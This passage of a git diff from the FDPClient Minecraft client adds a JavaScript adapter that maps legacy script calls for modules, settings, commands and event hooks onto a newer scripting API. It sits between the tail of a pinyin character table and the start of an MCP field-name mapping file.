iao;效,xiao;哓,xiao;咻,xiao;崤,xiao;潇,xiao;逍,xiao;骁,xiao;绡,xiao;枭,xiao;枵,xiao;筱,xiao;箫,xiao;魈,xiao;楔,xie;些,xie;歇,xie;蝎,xie;鞋,xie;协,xie;挟,xie;携,xie;邪,xie;斜,xie;胁,xie;谐,xie;写,xie;械,xie;卸,xie;蟹,xie;懈,xie;泄,xie;泻,xie;谢,xie;屑,xie;偕,xie;亵,xie;勰,xie;燮,xie;薤,xie;撷,xie;廨,xie;瀣,xie;邂,xie;绁,xie;缬,xie;榭,xie;榍,xie;歙,xie;躞,xie;薪,xin;芯,xin;锌,xin;欣,xin;辛,xin;新,xin;忻,xin;心,xin;信,xin;衅,xin;囟,xin;馨,xin;莘,xin;歆,xin;铽,xin;鑫,xin;星,xing;腥,xing;猩,xing;惺,xing;兴,xing;刑,xing;型,xing;形,xing;邢,xing;行,xing;醒,xing;幸,xing;杏,xing;性,xing;姓,xing;陉,xing;荇,xing;荥,xing;擤,xing;悻,xing;硎,xing;兄,xiong;凶,xiong;胸,xiong;匈,xiong;汹,xiong;雄,xiong;熊,xiong;芎,xiong;休,xiu;修,xiu;羞,xiu;朽,xiu;嗅,xiu;锈,xiu;秀,xiu;袖,xiu;绣,xiu;莠,xiu;岫,xiu;馐,xiu;庥,xiu;鸺,xiu;貅,xiu;髹,xiu;墟,xu;戌,xu;需,xu;虚,xu;嘘,xu;须,xu;徐,xu;许,xu;蓄,xu;酗,xu;叙,xu;旭,xu;序,xu;畜,xu;恤,xu;絮,xu;婿,xu;绪,xu;续,xu;讴,xu;诩,xu;圩,xu;蓿,xu;怵,xu;洫,xu;溆,xu;顼,xu;栩,xu;煦,xu;砉,xu;盱,xu;胥,xu;糈,xu;醑,xu;轩,xuan;喧,xuan;宣,xuan;悬,xuan;旋,xuan;玄,xuan;选,xuan;癣,xuan;眩,xuan;绚,xuan;儇,xuan;谖,xuan;萱,xuan;揎,xuan;馔,xuan;泫,xuan;洵,xuan;渲,xuan;漩,xuan;璇,xuan;楦,xuan;暄,xuan;炫,xuan;煊,xuan;碹,xuan;铉,xuan;镟,xuan;痃,xuan;靴,xue;薛,xue;学,xue;穴,xue;雪,xue;血,xue;噱,xue;泶,xue;鳕,xue;勋,xun;熏,xun;循,xun;旬,xun;询,xun;寻,xun;驯,xun;巡,xun;殉,xun;汛,xun;训,xun;讯,xun;逊,xun;迅,xun;巽,xun;埙,xun;荀,xun;薰,xun;峋,xun;徇,xun;浔,xun;曛,xun;窨,xun;醺,xun;鲟,xun;压,ya;押,ya;鸦,ya;鸭,ya;呀,ya;丫,ya;芽,ya;牙,ya;蚜,ya;崖,ya;衙,ya;涯,ya;雅,ya;哑,ya;亚,ya;讶,ya;伢,ya;揠,ya;吖,ya;岈,ya;迓,ya;娅,ya;琊,ya;桠,ya;氩,ya;砑,ya;睚,ya;痖,ya;焉,yan;咽,yan;阉,yan;烟,yan;淹,yan;盐,yan;严,yan;研,yan;蜒,yan;岩,yan;延,yan;言,yan;颜,yan;阎,yan;炎,yan;沿,yan;奄,yan;掩,yan;眼,yan;衍,yan;演,yan;艳,yan;堰,yan;燕,yan;厌,yan;砚,yan;雁,yan;唁,yan;彦,yan;焰,yan;宴,yan;谚,yan;验,yan;厣,yan;靥,yan;赝,yan;俨,yan;偃,yan;兖,yan;讠,yan;谳,yan;郾,yan;鄢,yan;芫,yan;菸,yan;崦,yan;恹,yan;闫,yan;阏,yan;洇,yan;湮,yan;滟,yan;妍,yan;嫣,yan;琰,yan;晏,yan;胭,yan;腌,yan;焱,yan;罨,yan;筵,yan;酽,yan;魇,yan;餍,yan;鼹,yan;殃,yang;央,yang;鸯,yang;秧,yang;杨,yang;扬,yang;佯,yang;疡,yang;羊,yang;洋,yang;阳,yang;氧,yang;仰,yang;痒,yang;养,yang;样,yang;漾,yang;徉,yang;怏,yang;泱,yang;炀,yang;烊,yang;恙,yang;蛘,yang;鞅,yang;邀,yao;腰,yao;妖,yao;瑶,yao;摇,yao;尧,yao;遥,yao;窑,yao;谣,yao;姚,yao;咬,yao;舀,yao;药,yao;要,yao;耀,yao;夭,yao;爻,yao;吆,yao;崾,yao;徭,yao;瀹,yao;幺,yao;珧,yao;杳,yao;曜,yao;肴,yao;鹞,yao;窈,yao;繇,yao;鳐,yao;椰,ye;噎,ye;耶,ye;爷,ye;野,ye;冶,ye;也,ye;页,ye;掖,ye;业,ye;叶,ye;曳,ye;腋,ye;夜,ye;液,ye;谒,ye;邺,ye;揶,ye;馀,ye;晔,ye;烨,ye;铘,ye;一,yi;壹,yi;医,yi;揖,yi;铱,yi;依,yi;伊,yi;衣,yi;颐,yi;夷,yi;遗,yi;移,yi;仪,yi;胰,yi;疑,yi;沂,yi;宜,yi;姨,yi;彝,yi;椅,yi;蚁,yi;倚,yi;已,yi;乙,yi;矣,yi;以,yi;艺,yi;抑,yi;易,yi;邑,yi;屹,yi;亿,yi;役,yi;臆,yi;逸,yi;肄,yi;疫,yi;亦,yi;裔,yi;意,yi;毅,yi;忆,yi;义,yi;益,yi;溢,yi;诣,yi;议,yi;谊,yi;译,yi;异,yi;翼,yi;翌,yi;绎,yi;刈,yi;劓,yi;佾,yi;诒,yi;圪,yi;圯,yi;埸,yi;懿,yi;苡,yi;薏,yi;弈,yi;奕,yi;挹,yi;弋,yi;呓,yi;咦,yi;咿,yi;噫,yi;峄,yi;嶷,yi;猗,yi;饴,yi;怿,yi;怡,yi;悒,yi;漪,yi;迤,yi;驿,yi;缢,yi;殪,yi;贻,yi;旖,yi;熠,yi;钇,yi;镒,yi;镱,yi;痍,yi;瘗,yi;癔,yi;翊,yi;衤,yi;蜴,yi;舣,yi;羿,yi;翳,yi;酏,yi;黟,yi;茵,yin;荫,yin;因,yin;殷,yin;音,yin;阴,yin;姻,yin;吟,yin;银,yin;淫,yin;寅,yin;饮,yin;尹,yin;引,yin;隐,yin;印,yin;胤,yin;鄞,yin;堙,yin;茚,yin;喑,yin;狺,yin;夤,yin;氤,yin;铟,yin;瘾,yin;蚓,yin;霪,yin;龈,yin;英,ying;樱,ying;婴,ying;鹰,ying;应,ying;缨,ying;莹,ying;萤,ying;营,ying;荧,ying;蝇,ying;迎,ying;赢,ying;盈,ying;影,ying;颖,ying;硬,ying;映,ying;嬴,ying;郢,ying;茔,ying;莺,ying;萦,ying;撄,ying;嘤,ying;膺,ying;滢,ying;潆,ying;瀛,ying;瑛,ying;璎,ying;楹,ying;鹦,ying;瘿,ying;颍,ying;罂,ying;哟,yo;唷,yo;拥,yong;佣,yong;臃,yong;痈,yong;庸,yong;雍,yong;踊,yong;蛹,yong;咏,yong;泳,yong;涌,yong;永,yong;恿,yong;勇,yong;用,yong;俑,yong;壅,yong;墉,yong;慵,yong;邕,yong;镛,yong;甬,yong;鳙,yong;饔,yong;幽,you;优,you;悠,you;忧,you;尤,you;由,you;邮,you;铀,you;犹,you;油,you;游,you;酉,you;有,you;友,you;右,you;佑,you;釉,you;诱,you;又,you;幼,you;卣,you;攸,you;侑,you;莸,you;呦,you;囿,you;宥,you;柚,you;猷,you;牖,you;铕,you;疣,you;蝣,you;鱿,you;黝,you;鼬,you;迂,yu;淤,yu;于,yu;盂,yu;榆,yu;虞,yu;愚,yu;舆,yu;余,yu;俞,yu;逾,yu;鱼,yu;愉,yu;渝,yu;渔,yu;隅,yu;予,yu;娱,yu;雨,yu;与,yu;屿,yu;禹,yu;宇,yu;语,yu;羽,yu;玉,yu;域,yu;芋,yu;郁,yu;吁,yu;遇,yu;喻,yu;峪,yu;御,yu;愈,yu;欲,yu;狱,yu;育,yu;誉,yu;浴,yu;寓,yu;裕,yu;预,yu;豫,yu;驭,yu;禺,yu;毓,yu;伛,yu;俣,yu;谀,yu;谕,yu;萸,yu;蓣,yu;揄,yu;喁,yu;圄,yu;圉,yu;嵛,yu;狳,yu;饫,yu;庾,yu;阈,yu;妪,yu;妤,yu;纡,yu;瑜,yu;昱,yu;觎,yu;腴,yu;欤,yu;於,yu;煜,yu;燠,yu;聿,yu;钰,yu;鹆,yu;瘐,yu;瘀,yu;窳,yu;蝓,yu;竽,yu;舁,yu;雩,yu;龉,yu;鸳,yuan;渊,yuan;冤,yuan;元,yuan;垣,yuan;袁,yuan;原,yuan;援,yuan;辕,yuan;园,yuan;员,yuan;圆,yuan;猿,yuan;源,yuan;缘,yuan;远,yuan;苑,yuan;愿,yuan;怨,yuan;院,yuan;塬,yuan;沅,yuan;媛,yuan;瑗,yuan;橼,yuan;爰,yuan;眢,yuan;鸢,yuan;螈,yuan;鼋,yuan;曰,yue;约,yue;越,yue;跃,yue;钥,yue;岳,yue;粤,yue;月,yue;悦,yue;阅,yue;龠,yue;樾,yue;刖,yue;钺,yue;耘,yun;云,yun;郧,yun;匀,yun;陨,yun;允,yun;运,yun;蕴,yun;酝,yun;晕,yun;韵,yun;孕,yun;郓,yun;芸,yun;狁,yun;恽,yun;纭,yun;殒,yun;昀,yun;氲,yun;匝,za;砸,za;杂,za;拶,za;咂,za;栽,zai;哉,zai;灾,zai;宰,zai;载,zai;再,zai;在,zai;咱,zai;崽,zai;甾,zai;攒,zan;暂,zan;赞,zan;瓒,zan;昝,zan;簪,zan;糌,zan;趱,zan;錾,zan;赃,zang;脏,zang;葬,zang;奘,zang;戕,zang;臧,zang;遭,zao;糟,zao;凿,zao;藻,zao;枣,zao;早,zao;澡,zao;蚤,zao;躁,zao;噪,zao;造,zao;皂,zao;灶,zao;燥,zao;唣,zao;缫,zao;责,ze;择,ze;则,ze;泽,ze;仄,ze;赜,ze;啧,ze;迮,ze;昃,ze;笮,ze;箦,ze;舴,ze;贼,zei;怎,zen;谮,zen;增,zeng;憎,zeng;曾,zeng;赠,zeng;缯,zeng;甑,zeng;罾,zeng;锃,zeng;扎,zha;喳,zha;渣,zha;札,zha;轧,zha;铡,zha;闸,zha;眨,zha;栅,zha;榨,zha;咋,zha;乍,zha;炸,zha;诈,zha;揸,zha;吒,zha;咤,zha;哳,zha;怍,zha;砟,zha;痄,zha;蚱,zha;齄,zha;摘,zhai;斋,zhai;宅,zhai;窄,zhai;债,zhai;寨,zhai;砦,zhai;瞻,zhan;毡,zhan;詹,zhan;粘,zhan;沾,zhan;盏,zhan;斩,zhan;辗,zhan;崭,zhan;展,zhan;蘸,zhan;栈,zhan;占,zhan;战,zhan;站,zhan;湛,zhan;绽,zhan;谵,zhan;搌,zhan;旃,zhan;樟,zhang;章,zhang;彰,zhang;漳,zhang;张,zhang;掌,zhang;涨,zhang;杖,zhang;丈,zhang;帐,zhang;账,zhang;仗,zhang;胀,zhang;瘴,zhang;障,zhang;仉,zhang;鄣,zhang;幛,zhang;嶂,zhang;獐,zhang;嫜,zhang;璋,zhang;蟑,zhang;招,zhao;昭,zhao;找,zhao;沼,zhao;赵,zhao;照,zhao;罩,zhao;兆,zhao;肇,zhao;召,zhao;爪,zhao;诏,zhao;棹,zhao;钊,zhao;笊,zhao;遮,zhe;折,zhe;哲,zhe;蛰,zhe;辙,zhe;者,zhe;锗,zhe;蔗,zhe;这,zhe;浙,zhe;谪,zhe;陬,zhe;柘,zhe;辄,zhe;磔,zhe;鹧,zhe;褚,zhe;蜇,zhe;赭,zhe;珍,zhen;斟,zhen;真,zhen;甄,zhen;砧,zhen;臻,zhen;贞,zhen;针,zhen;侦,zhen;枕,zhen;疹,zhen;诊,zhen;震,zhen;振,zhen;镇,zhen;阵,zhen;缜,zhen;桢,zhen;榛,zhen;轸,zhen;赈,zhen;胗,zhen;朕,zhen;祯,zhen;畛,zhen;鸩,zhen;蒸,zheng;挣,zheng;睁,zheng;征,zheng;狰,zheng;争,zheng;怔,zheng;整,zheng;拯,zheng;正,zheng;政,zheng;帧,zheng;症,zheng;郑,zheng;证,zheng;诤,zheng;峥,zheng;钲,zheng;铮,zheng;筝,zheng;芝,zhi;枝,zhi;支,zhi;吱,zhi;蜘,zhi;知,zhi;肢,zhi;脂,zhi;汁,zhi;之,zhi;织,zhi;职,zhi;直,zhi;植,zhi;殖,zhi;执,zhi;值,zhi;侄,zhi;址,zhi;指,zhi;止,zhi;趾,zhi;只,zhi;旨,zhi;纸,zhi;志,zhi;挚,zhi;掷,zhi;至,zhi;致,zhi;置,zhi;帜,zhi;峙,zhi;制,zhi;智,zhi;秩,zhi;稚,zhi;质,zhi;炙,zhi;痔,zhi;滞,zhi;治,zhi;窒,zhi;卮,zhi;陟,zhi;郅,zhi;埴,zhi;芷,zhi;摭,zhi;帙,zhi;忮,zhi;彘,zhi;咫,zhi;骘,zhi;栉,zhi;枳,zhi;栀,zhi;桎,zhi;轵,zhi;轾,zhi;攴,zhi;贽,zhi;膣,zhi;祉,zhi;祗,zhi;黹,zhi;雉,zhi;鸷,zhi;痣,zhi;蛭,zhi;絷,zhi;酯,zhi;跖,zhi;踬,zhi;踯,zhi;豸,zhi;觯,zhi;中,zhong;盅,zhong;忠,zhong;钟,zhong;衷,zhong;终,zhong;种,zhong;肿,zhong;重,zhong;仲,zhong;众,zhong;冢,zhong;锺,zhong;螽,zhong;舂,zhong;舯,zhong;踵,zhong;舟,zhou;周,zhou;州,zhou;洲,zhou;诌,zhou;粥,zhou;轴,zhou;肘,zhou;帚,zhou;咒,zhou;皱,zhou;宙,zhou;昼,zhou;骤,zhou;啄,zhou;着,zhou;倜,zhou;诹,zhou;荮,zhou;鬻,zhou;纣,zhou;胄,zhou;碡,zhou;籀,zhou;舳,zhou;酎,zhou;鲷,zhou;珠,zhu;株,zhu;蛛,zhu;朱,zhu;猪,zhu;诸,zhu;诛,zhu;逐,zhu;竹,zhu;烛,zhu;煮,zhu;拄,zhu;瞩,zhu;嘱,zhu;主,zhu;著,zhu;柱,zhu;助,zhu;蛀,zhu;贮,zhu;铸,zhu;筑,zhu;住,zhu;注,zhu;祝,zhu;驻,zhu;伫,zhu;侏,zhu;邾,zhu;苎,zhu;茱,zhu;洙,zhu;渚,zhu;潴,zhu;驺,zhu;杼,zhu;槠,zhu;橥,zhu;炷,zhu;铢,zhu;疰,zhu;瘃,zhu;蚰,zhu;竺,zhu;箸,zhu;翥,zhu;躅,zhu;麈,zhu;抓,zhua;拽,zhuai;专,zhuan;砖,zhuan;转,zhuan;撰,zhuan;赚,zhuan;篆,zhuan;抟,zhuan;啭,zhuan;颛,zhuan;桩,zhuang;庄,zhuang;装,zhuang;妆,zhuang;撞,zhuang;壮,zhuang;状,zhuang;丬,zhuang;椎,zhui;锥,zhui;追,zhui;赘,zhui;坠,zhui;缀,zhui;萑,zhui;骓,zhui;缒,zhui;谆,zhun;准,zhun;捉,zhuo;拙,zhuo;卓,zhuo;桌,zhuo;琢,zhuo;茁,zhuo;酌,zhuo;灼,zhuo;浊,zhuo;倬,zhuo;诼,zhuo;廴,zhuo;蕞,zhuo;擢,zhuo;啜,zhuo;浞,zhuo;涿,zhuo;杓,zhuo;焯,zhuo;禚,zhuo;斫,zhuo;兹,zi;咨,zi;资,zi;姿,zi;滋,zi;淄,zi;孜,zi;紫,zi;仔,zi;籽,zi;滓,zi;子,zi;自,zi;渍,zi;字,zi;谘,zi;嵫,zi;姊,zi;孳,zi;缁,zi;梓,zi;辎,zi;赀,zi;恣,zi;眦,zi;锱,zi;秭,zi;耔,zi;笫,zi;粢,zi;觜,zi;訾,zi;鲻,zi;髭,zi;鬃,zong;棕,zong;踪,zong;宗,zong;综,zong;总,zong;纵,zong;腙,zong;粽,zong;邹,zou;走,zou;奏,zou;揍,zou;鄹,zou;鲰,zou;租,zu;足,zu;卒,zu;族,zu;祖,zu;诅,zu;阻,zu;组,zu;俎,zu;菹,zu;啐,zu;徂,zu;驵,zu;蹴,zu;钻,zuan;纂,zuan;攥,zuan;缵,zuan;嘴,zui;醉,zui;最,zui;罪,zui;尊,zun;遵,zun;撙,zun;樽,zun;鳟,zun;昨,zuo;左,zuo;佐,zuo;柞,zuo;做,zuo;作,zuo;坐,zuo;座,zuo;阝,zuo;阼,zuo;胙,zuo;祚,zuo;酢,zuo;薮,cou;楱,cou;辏,cou;腠,cou;攮,nang;哝,nang;囔,nang;馕,nang;曩,nang;喔,o;嗲,dia;嘬,chuai;膪,chuai;踹,chuai;岑,cen;涔,cen;铥,diu;耨,nou;缶,fou;髟,bia \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/fdpclient/scriptapi/legacy.js b/src/main/resources/assets/minecraft/fdpclient/scriptapi/legacy.js new file mode 100644 index 0000000..17c745d --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/scriptapi/legacy.js @@ -0,0 +1,346 @@ +var script = registerScript({ + name: "Legacy Script", + version: "1.0.0", + authors: ["Please Update Script"] +}); + +script.on("enable", function () { + try { + onEnable(); + } catch (err) { + } +}); + +script.on("disable", function () { + try { + onDisable(); + } catch (err) { + } +}); + +script.on("load", function () { + try { + onLoad(); + } catch (err) { + } +}); + +var _ValueAdapter = function () { + + this.values = []; + + this.add = function (value) { + this.values.push(value); + } + + this.getAdaptedValues = function () { + var valuesObject = {}; + + for (var i = 0; i < this.values.length; i++) { + var currentValue = this.values[i].getValue(); + + valuesObject[currentValue.getName()] = currentValue; + } + + return valuesObject; + } +} + +var _ItemAdaptar = function () { + + this.items = []; + + this.add = function (item) { + this.items.push(item); + } + + this.getAdaptedItems = function () { + return this.items; + } +} + +var _AdaptedValue = function (value) { + + this.FloatValue = Java.type("net.ccbluex.liquidbounce.features.value.FloatValue"); + this.IntegerValue = Java.type("net.ccbluex.liquidbounce.features.value.IntegerValue"); + this.Float = Java.type("java.lang.Float"); + this.Integer = Java.type("java.lang.Integer"); + + this.get = function () { + return value.get(); + } + + this.getName = function () { + return value.getName(); + } + + this.getValue = function () { + return value; + } + + this.set = function (newValue) { + value.set(newValue) + } +} + +var _AdaptedModule = function (module) { + + this.module = module; + + this.moduleManager = Java.type("net.ccbluex.liquidbounce.FDPClient").moduleManager; + + this.getName = function () { + return this.module.getName(); + } + + this.getDescription = function () { + return this.module.getDescription(); + } + + this.getCategory = function () { + return this.module.getCategory().displayName; + } + + this.getState = function () { + return this.module.getState(); + } + + this.setState = function (state) { + this.module.setState(state); + } + + this.getBind = function () { + return this.module.keyBind; + } + + this.setBind = function (bind) { + this.module.keyBind = bind; + } + + this.getValue = function (name) { + return new _AdaptedValue(this.module.getValue(name)); + } + + this.register = function () { + this.moduleManager.registerModule(this.module); + } + + this.unregister = function () { + this.moduleManager.unregisterModule(this.module); + } + + this._getRaw = function () { + return this.module; + } +} + +Object.defineProperty(_AdaptedModule.prototype, "state", { + get: function() { + return this.module.getState(); + }, + set: function (newState) { + this.module.setState(newState); + } +}); + +Object.defineProperty(_AdaptedModule.prototype, "bind", { + get: function() { + return this.module.keyBind; + }, + set: function (newBind) { + this.module.keyBind = newBind; + } +}); + +var _ModuleManager = function () { + + this.moduleManager = Java.type("net.ccbluex.liquidbounce.FDPClient").moduleManager; + this.Module = Java.type("net.ccbluex.liquidbounce.features.module.Module"); + this.ArrayList = Java.type("java.util.ArrayList"); + + this.registerModule = function (scriptModule) { + var moduleConfig = { + name: scriptModule.getName(), + description: scriptModule.getDescription(), + category: scriptModule.getCategory() + }; + + if (scriptModule.addValues) { + var valueAdapter = new _ValueAdapter(); + scriptModule.addValues(valueAdapter); + moduleConfig.settings = valueAdapter.getAdaptedValues(); + } + + if (scriptModule.getTag) { + moduleConfig.tag = scriptModule.getTag(); + } + + script.registerModule(moduleConfig, function (module) { + var registerEvent = function (eventName, legacyName) { + if (scriptModule[legacyName]) { + module.on(eventName, function (event) { + scriptModule[legacyName](event); + }); + } + } + + registerEvent("update", "onUpdate"); + registerEvent("enable", "onEnable"); + registerEvent("disable", "onDisable"); + registerEvent("packet", "onPacket"); + registerEvent("motion", "onMotion"); + registerEvent("render2D", "onRender2D"); + registerEvent("render3D", "onRender3D"); + registerEvent("jump", "onJump"); + registerEvent("attack", "onAttack"); + registerEvent("key", "onKey"); + registerEvent("move", "onMove"); + registerEvent("step", "onStep"); + registerEvent("stepConfirm", "onStepConfirm"); + registerEvent("world", "onWorld"); + registerEvent("session", "onSession"); + registerEvent("clickBlock", "onClickBlock"); + registerEvent("strafe", "onStrafe"); + registerEvent("slowDown", "onSlowDown"); + }); + } + + this.unregisterModule = function (module, autoDisable) { + if (module instanceof this.Module || module instanceof _AdaptedModule) { + if (module instanceof _AdaptedModule) + module = module._getRaw(); + + if (autoDisable === undefined) + autoDisable = true; + + if (autoDisable) + module.state = false + + this.moduleManager.unregisterModule(module); + } + } + + this.getModule = function (name) { + return new _AdaptedModule(this.moduleManager.getModule(name)); + } + + this.getModules = function () { + var modules = new this.ArrayList(this.moduleManager.getModules()); + var adaptedModules = []; + + for (var i = 0; i < modules.size(); i++) { + adaptedModules.push(new _AdaptedModule(modules[i])); + } + + return adaptedModules; + } +} + +var _CommandManager = function () { + + this.Command = Java.type("net.ccbluex.liquidbounce.features.command.Command"); + this.commandManager = Java.type("net.ccbluex.liquidbounce.FDPClient").commandManager; + + this.registerCommand = function (scriptCommand) { + script.registerCommand({ + name: scriptCommand.getName(), + aliases: scriptCommand.getAliases() + }, function (command) { + command.on("execute", function (args) { + scriptCommand.execute(args); + }); + }) + } + + this.unregisterCommand = function (command) { + if (command instanceof this.Command) { + this.commandManager.unregisterCommand(command); + } + } + + this.executeCommand = function (command, args) { + if (typeof command === "string") { + this.commandManager.executeCommands(command) + } else { + command.execute(args); + } + } +} + +var _CreativeTabs = function () { + + this.registerTab = function (scriptTab) { + var itemAdapter = new _ItemAdaptar(); + scriptTab.displayAllReleventItems(itemAdapter); + + script.registerTab({ + name: scriptTab.getLabel(), + icon: "apple", + items: itemAdapter.getAdaptedItems() + }); + } +} + +var _Item = function () { + + this.createItem = function (args) { + return Item.create(args); + } +} + +var _Value = function () { + + this.createBlock = function (name, value) { + return new _AdaptedValue(Setting.block({ + name: name, + default: value + })); + } + + this.createBoolean = function (name, value) { + return new _AdaptedValue(Setting.boolean({ + name: name, + default: value + })) + } + + this.createFloat = function (name, value, min, max) { + return new _AdaptedValue(Setting.float({ + name: name, + default: value, + min: min, + max: max + })); + } + + this.createInteger = function (name, value, min, max) { + return new _AdaptedValue(Setting.integer({ + name: name, + default: value, + min: min, + max: max + })) + } + + this.createList = function (name, values, value) { + return new _AdaptedValue(Setting.list({ + name: name, + values: values, + default: value + })); + } + + this.createText = function (name, value) { + return new _AdaptedValue(Setting.text({ + name: name, + default: value + })); + } +} + +var moduleManager = new _ModuleManager(); +var commandManager = new _CommandManager(); +var creativeTabs = new _CreativeTabs(); +var item = new _Item(); +var value = new _Value(); +var chat = Chat; diff --git a/src/main/resources/assets/minecraft/fdpclient/scriptapi/mcp-stable_22.srg b/src/main/resources/assets/minecraft/fdpclient/scriptapi/mcp-stable_22.srg new file mode 100644 index 0000000..bd912e6 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/scriptapi/mcp-stable_22.srg @@ -0,0 +1,25343 @@ +FD: net/minecraft/util/EnumChatFormatting/fancyStyling net/minecraft/util/EnumChatFormatting/field_96303_A +FD: net/minecraft/util/EnumChatFormatting/controlString net/minecraft/util/EnumChatFormatting/field_96304_B +FD: net/minecraft/util/EnumChatFormatting/colorIndex net/minecraft/util/EnumChatFormatting/field_175747_C +FD: net/minecraft/util/EnumChatFormatting/$VALUES net/minecraft/util/EnumChatFormatting/$VALUES +FD: net/minecraft/util/EnumChatFormatting/BLACK net/minecraft/util/EnumChatFormatting/BLACK +FD: net/minecraft/util/EnumChatFormatting/DARK_BLUE net/minecraft/util/EnumChatFormatting/DARK_BLUE +FD: net/minecraft/util/EnumChatFormatting/DARK_GREEN net/minecraft/util/EnumChatFormatting/DARK_GREEN +FD: net/minecraft/util/EnumChatFormatting/DARK_AQUA net/minecraft/util/EnumChatFormatting/DARK_AQUA +FD: net/minecraft/util/EnumChatFormatting/DARK_RED net/minecraft/util/EnumChatFormatting/DARK_RED +FD: net/minecraft/util/EnumChatFormatting/DARK_PURPLE net/minecraft/util/EnumChatFormatting/DARK_PURPLE +FD: net/minecraft/util/EnumChatFormatting/GOLD net/minecraft/util/EnumChatFormatting/GOLD +FD: net/minecraft/util/EnumChatFormatting/GRAY net/minecraft/util/EnumChatFormatting/GRAY +FD: net/minecraft/util/EnumChatFormatting/DARK_GRAY net/minecraft/util/EnumChatFormatting/DARK_GRAY +FD: net/minecraft/util/EnumChatFormatting/BLUE net/minecraft/util/EnumChatFormatting/BLUE +FD: net/minecraft/util/EnumChatFormatting/GREEN net/minecraft/util/EnumChatFormatting/GREEN +FD: net/minecraft/util/EnumChatFormatting/AQUA net/minecraft/util/EnumChatFormatting/AQUA +FD: net/minecraft/util/EnumChatFormatting/RED net/minecraft/util/EnumChatFormatting/RED +FD: net/minecraft/util/EnumChatFormatting/LIGHT_PURPLE net/minecraft/util/EnumChatFormatting/LIGHT_PURPLE +FD: net/minecraft/util/EnumChatFormatting/YELLOW net/minecraft/util/EnumChatFormatting/YELLOW +FD: net/minecraft/util/EnumChatFormatting/WHITE net/minecraft/util/EnumChatFormatting/WHITE +FD: net/minecraft/util/EnumChatFormatting/OBFUSCATED net/minecraft/util/EnumChatFormatting/OBFUSCATED +FD: net/minecraft/util/EnumChatFormatting/BOLD net/minecraft/util/EnumChatFormatting/BOLD +FD: net/minecraft/util/EnumChatFormatting/STRIKETHROUGH net/minecraft/util/EnumChatFormatting/STRIKETHROUGH +FD: net/minecraft/util/EnumChatFormatting/UNDERLINE net/minecraft/util/EnumChatFormatting/UNDERLINE +FD: net/minecraft/util/EnumChatFormatting/ITALIC net/minecraft/util/EnumChatFormatting/ITALIC +FD: net/minecraft/util/EnumChatFormatting/RESET net/minecraft/util/EnumChatFormatting/RESET +FD: net/minecraft/util/EnumChatFormatting/nameMapping net/minecraft/util/EnumChatFormatting/field_96331_x +FD: net/minecraft/util/EnumChatFormatting/formattingCodePattern net/minecraft/util/EnumChatFormatting/field_96330_y +FD: net/minecraft/util/EnumChatFormatting/name net/minecraft/util/EnumChatFormatting/field_175748_y +FD: net/minecraft/util/EnumChatFormatting/formattingCode net/minecraft/util/EnumChatFormatting/field_96329_z +FD: net/minecraft/item/ItemLeaves/leaves net/minecraft/item/ItemLeaves/field_150940_b +FD: net/minecraft/item/ItemMinecart$1/behaviourDefaultDispenseItem net/minecraft/item/ItemMinecart$1/field_96465_b +FD: net/minecraft/item/ItemMinecart/dispenserMinecartBehavior net/minecraft/item/ItemMinecart/field_96602_b +FD: net/minecraft/item/ItemMinecart/minecartType net/minecraft/item/ItemMinecart/field_77841_a +FD: net/minecraft/item/ItemMultiTexture$1/field_179542_a net/minecraft/item/ItemMultiTexture$1/field_179542_a +FD: net/minecraft/item/ItemMultiTexture/theBlock net/minecraft/item/ItemMultiTexture/field_179227_b +FD: net/minecraft/item/ItemMultiTexture/nameFunction net/minecraft/item/ItemMultiTexture/field_179228_c +FD: net/minecraft/item/ItemPickaxe/EFFECTIVE_ON net/minecraft/item/ItemPickaxe/field_150915_c +FD: net/minecraft/item/ItemPotion/effectCache net/minecraft/item/ItemPotion/field_77836_a +FD: net/minecraft/item/ItemPotion/SUB_ITEMS_CACHE net/minecraft/item/ItemPotion/field_77835_b +FD: net/minecraft/item/EnumRarity/COMMON net/minecraft/item/EnumRarity/COMMON +FD: net/minecraft/item/EnumRarity/UNCOMMON net/minecraft/item/EnumRarity/UNCOMMON +FD: net/minecraft/item/EnumRarity/RARE net/minecraft/item/EnumRarity/RARE +FD: net/minecraft/item/EnumRarity/EPIC net/minecraft/item/EnumRarity/EPIC +FD: net/minecraft/item/EnumRarity/rarityColor net/minecraft/item/EnumRarity/field_77937_e +FD: net/minecraft/item/EnumRarity/rarityName net/minecraft/item/EnumRarity/field_77934_f +FD: net/minecraft/item/EnumRarity/$VALUES net/minecraft/item/EnumRarity/$VALUES +FD: net/minecraft/item/ItemRecord/recordName net/minecraft/item/ItemRecord/field_150929_a +FD: net/minecraft/item/ItemRecord/RECORDS net/minecraft/item/ItemRecord/field_150928_b +FD: net/minecraft/item/ItemSeedFood/crops net/minecraft/item/ItemSeedFood/field_150908_b +FD: net/minecraft/item/ItemSeedFood/soilId net/minecraft/item/ItemSeedFood/field_82809_c +FD: net/minecraft/item/ItemSeeds/crops net/minecraft/item/ItemSeeds/field_150925_a +FD: net/minecraft/item/ItemSeeds/soilBlockID net/minecraft/item/ItemSeeds/field_77838_b +FD: net/minecraft/item/ItemSpade/EFFECTIVE_ON net/minecraft/item/ItemSpade/field_150916_c +FD: net/minecraft/item/ItemSkull/skullTypes net/minecraft/item/ItemSkull/field_82807_a +FD: net/minecraft/item/ItemSlab/singleSlab net/minecraft/item/ItemSlab/field_150949_c +FD: net/minecraft/item/ItemSlab/doubleSlab net/minecraft/item/ItemSlab/field_179226_c +FD: net/minecraft/item/ItemSword/attackDamage net/minecraft/item/ItemSword/field_150934_a +FD: net/minecraft/item/ItemSword/material net/minecraft/item/ItemSword/field_150933_b +FD: net/minecraft/item/ItemColored/coloredBlock net/minecraft/item/ItemColored/field_150944_b +FD: net/minecraft/item/ItemColored/subtypeNames net/minecraft/item/ItemColored/field_150945_c +FD: net/minecraft/item/EnumAction/NONE net/minecraft/item/EnumAction/NONE +FD: net/minecraft/item/EnumAction/EAT net/minecraft/item/EnumAction/EAT +FD: net/minecraft/item/EnumAction/DRINK net/minecraft/item/EnumAction/DRINK +FD: net/minecraft/item/EnumAction/BLOCK net/minecraft/item/EnumAction/BLOCK +FD: net/minecraft/item/EnumAction/BOW net/minecraft/item/EnumAction/BOW +FD: net/minecraft/item/EnumAction/$VALUES net/minecraft/item/EnumAction/$VALUES +FD: net/minecraft/potion/PotionHelper/unusedString net/minecraft/potion/PotionHelper/field_77924_a +FD: net/minecraft/potion/PotionHelper/sugarEffect 